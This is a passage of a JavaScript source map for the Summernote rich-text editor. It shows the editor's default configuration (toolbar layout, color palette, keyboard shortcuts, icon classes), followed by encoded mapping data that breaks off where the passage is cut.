plugins: {},\n\n  options: {\n    modules: {\n      'editor': Editor,\n      'clipboard': Clipboard,\n      'dropzone': Dropzone,\n      'codeview': Codeview,\n      'statusbar': Statusbar,\n      'fullscreen': Fullscreen,\n      'handle': Handle,\n      // FIXME: HintPopover must be front of autolink\n      //  - Script error about range when Enter key is pressed on hint popover\n      'hintPopover': HintPopover,\n      'autoLink': AutoLink,\n      'autoSync': AutoSync,\n      'placeholder': Placeholder,\n      'buttons': Buttons,\n      'toolbar': Toolbar,\n      'linkDialog': LinkDialog,\n      'linkPopover': LinkPopover,\n      'imageDialog': ImageDialog,\n      'imagePopover': ImagePopover,\n      'tablePopover': TablePopover,\n      'videoDialog': VideoDialog,\n      'helpDialog': HelpDialog,\n      'airPopover': AirPopover\n    },\n\n    buttons: {},\n\n    lang: 'en-US',\n\n    followingToolbar: true,\n    otherStaticBar: '',\n\n    // toolbar\n    toolbar: [\n      ['style', ['style']],\n      ['font', ['bold', 'underline', 'clear']],\n      ['fontname', ['fontname']],\n      ['color', ['color']],\n      ['para', ['ul', 'ol', 'paragraph']],\n      ['table', ['table']],\n      ['insert', ['link', 'picture', 'video']],\n      ['view', ['fullscreen', 'codeview', 'help']]\n    ],\n\n    // popover\n    popatmouse: true,\n    popover: {\n      image: [\n        ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n        ['float', ['floatLeft', 'floatRight', 'floatNone']],\n        ['remove', ['removeMedia']]\n      ],\n      link: [\n        ['link', ['linkDialogShow', 'unlink']]\n      ],\n      table: [\n        ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n        ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n      ],\n      air: [\n        ['color', ['color']],\n        ['font', ['bold', 'underline', 'clear']],\n        ['para', ['ul', 'paragraph']],\n        ['table', ['table']],\n        ['insert', ['link', 'picture']]\n      ]\n    },\n\n    // air mode: inline editor\n    airMode: false,\n\n    width: null,\n    height: null,\n    linkTargetBlank: true,\n\n    focus: false,\n    tabSize: 4,\n    styleWithSpan: true,\n    shortcuts: true,\n    textareaAutoSync: true,\n    hintDirection: 'bottom',\n    tooltip: 'auto',\n    container: 'body',\n    maxTextLength: 0,\n\n    styleTags: ['p', 'blockquote', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'],\n\n    fontNames: [\n      'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',\n      'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',\n      'Tahoma', 'Times New Roman', 'Verdana'\n    ],\n\n    fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],\n\n    // pallete colors(n x n)\n    colors: [\n      ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],\n      ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],\n      ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],\n      ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],\n      ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],\n      ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],\n      ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],\n      ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']\n    ],\n\n    // http://chir.ag/projects/name-that-color/\n    colorsName: [\n      ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],\n      ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],\n      ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],\n      ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],\n      ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],\n      ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],\n      ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],\n      ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']\n    ],\n\n    lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],\n\n    tableClassName: 'table table-bordered',\n\n    insertTableMaxSize: {\n      col: 10,\n      row: 10\n    },\n\n    dialogsInBody: false,\n    dialogsFade: false,\n\n    maximumImageFileSize: null,\n\n    callbacks: {\n      onInit: null,\n      onFocus: null,\n      onBlur: null,\n      onBlurCodeview: null,\n      onEnter: null,\n      onKeyup: null,\n      onKeydown: null,\n      onImageUpload: null,\n      onImageUploadError: null\n    },\n\n    codemirror: {\n      mode: 'text/html',\n      htmlMode: true,\n      lineNumbers: true\n    },\n\n    keyMap: {\n      pc: {\n        'ENTER': 'insertParagraph',\n        'CTRL+Z': 'undo',\n        'CTRL+Y': 'redo',\n        'TAB': 'tab',\n        'SHIFT+TAB': 'untab',\n        'CTRL+B': 'bold',\n        'CTRL+I': 'italic',\n        'CTRL+U': 'underline',\n        'CTRL+SHIFT+S': 'strikethrough',\n        'CTRL+BACKSLASH': 'removeFormat',\n        'CTRL+SHIFT+L': 'justifyLeft',\n        'CTRL+SHIFT+E': 'justifyCenter',\n        'CTRL+SHIFT+R': 'justifyRight',\n        'CTRL+SHIFT+J': 'justifyFull',\n        'CTRL+SHIFT+NUM7': 'insertUnorderedList',\n        'CTRL+SHIFT+NUM8': 'insertOrderedList',\n        'CTRL+LEFTBRACKET': 'outdent',\n        'CTRL+RIGHTBRACKET': 'indent',\n        'CTRL+NUM0': 'formatPara',\n        'CTRL+NUM1': 'formatH1',\n        'CTRL+NUM2': 'formatH2',\n        'CTRL+NUM3': 'formatH3',\n        'CTRL+NUM4': 'formatH4',\n        'CTRL+NUM5': 'formatH5',\n        'CTRL+NUM6': 'formatH6',\n        'CTRL+ENTER': 'insertHorizontalRule',\n        'CTRL+K': 'linkDialog.show'\n      },\n\n      mac: {\n        'ENTER': 'insertParagraph',\n        'CMD+Z': 'undo',\n        'CMD+SHIFT+Z': 'redo',\n        'TAB': 'tab',\n        'SHIFT+TAB': 'untab',\n        'CMD+B': 'bold',\n        'CMD+I': 'italic',\n        'CMD+U': 'underline',\n        'CMD+SHIFT+S': 'strikethrough',\n        'CMD+BACKSLASH': 'removeFormat',\n        'CMD+SHIFT+L': 'justifyLeft',\n        'CMD+SHIFT+E': 'justifyCenter',\n        'CMD+SHIFT+R': 'justifyRight',\n        'CMD+SHIFT+J': 'justifyFull',\n        'CMD+SHIFT+NUM7': 'insertUnorderedList',\n        'CMD+SHIFT+NUM8': 'insertOrderedList',\n        'CMD+LEFTBRACKET': 'outdent',\n        'CMD+RIGHTBRACKET': 'indent',\n        'CMD+NUM0': 'formatPara',\n        'CMD+NUM1': 'formatH1',\n        'CMD+NUM2': 'formatH2',\n        'CMD+NUM3': 'formatH3',\n        'CMD+NUM4': 'formatH4',\n        'CMD+NUM5': 'formatH5',\n        'CMD+NUM6': 'formatH6',\n        'CMD+ENTER': 'insertHorizontalRule',\n        'CMD+K': 'linkDialog.show'\n      }\n    },\n    icons: {\n      'align': 'note-icon-align',\n      'alignCenter': 'note-icon-align-center',\n      'alignJustify': 'note-icon-align-justify',\n      'alignLeft': 'note-icon-align-left',\n      'alignRight': 'note-icon-align-right',\n      'rowBelow': 'note-icon-row-below',\n      'colBefore': 'note-icon-col-before',\n      'colAfter': 'note-icon-col-after',\n      'rowAbove': 'note-icon-row-above',\n      'rowRemove': 'note-icon-row-remove',\n      'colRemove': 'note-icon-col-remove',\n      'indent': 'note-icon-align-indent',\n      'outdent': 'note-icon-align-outdent',\n      'arrowsAlt': 'note-icon-arrows-alt',\n      'bold': 'note-icon-bold',\n      'caret': 'note-icon-caret',\n      'circle': 'note-icon-circle',\n      'close': 'note-icon-close',\n      'code': 'note-icon-code',\n      'eraser': 'note-icon-eraser',\n      'font': 'note-icon-font',\n      'frame': 'note-icon-frame',\n      'italic': 'note-icon-italic',\n      'link': 'note-icon-link',\n      'unlink': 'note-icon-chain-broken',\n      'magic': 'note-icon-magic',\n      'menuCheck': 'note-icon-menu-check',\n      'minus': 'note-icon-minus',\n      'orderedlist': 'note-icon-orderedlist',\n      'pencil': 'note-icon-pencil',\n      'picture': 'note-icon-picture',\n      'question': 'note-icon-question',\n      'redo': 'note-icon-redo',\n      'square': 'note-icon-square',\n      'strikethrough': 'note-icon-strikethrough',\n      'subscript': 'note-icon-subscript',\n      'superscript': 'note-icon-superscript',\n      'table': 'note-icon-table',\n      'textHeight': 'note-icon-text-height',\n      'trash': 'note-icon-trash',\n      'underline': 'note-icon-underline',\n      'undo': 'note-icon-undo',\n      'unorderedlist': 'note-icon-unorderedlist',\n      'video': 'note-icon-video'\n    }\n  }\n});\n\nimport '../summernote'; // eslint-disable-line\n"],"names":["$","Codeview"],"mappings":"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